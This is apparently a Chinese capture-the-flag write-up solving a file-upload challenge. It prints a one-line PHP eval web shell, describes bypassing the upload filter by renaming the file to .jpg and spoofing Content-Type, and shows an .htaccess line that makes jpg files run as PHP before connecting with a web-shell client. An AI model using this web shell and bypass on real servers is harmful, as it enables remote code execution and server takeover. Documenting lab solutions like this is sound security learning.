解题步骤
由首页得,该题目为文件上传漏洞类型,首先上传一个名为flag.php
的木马文件,其内容为:
<?php
eval($_POST['x']);
?>
通过 Burpsuite 抓包测试,当不符合传输条件时会出现以下回显代码:
我们修改文件后缀,使得文件名为flag.jpg
,以及Content-Type
内容为image/jpeg
,并成功上传:
我们可以想到使用 .htaccess 配置文件来使得上传的文件变为 PHP 文件类型,故创建一个 .htaccess 文件,其内容为:
AddType application/x-httpd-php jpg
该文件可以使得所有后缀为 jpg 的文件解析为 PHP 文件,我们通过抓包并修改Content-Type
为image/jpeg
并成功上传该文件:
然后根据数据包中文件路径,通过蚁剑连接:
最后得到 flag
:
小结
一开始想到了使用 .htaccess,但是用如下代码构造了 .htaccess 文件:
<FilesMatch "XXE">
SetHander application/x-httpd-php
</FilesMatch>
导致后序渗透不太理想,最后通过参考其他人的解题思路,重新构造了 .htaccess 文件,才成功对flag.jpg
解析成功,最后的到了flag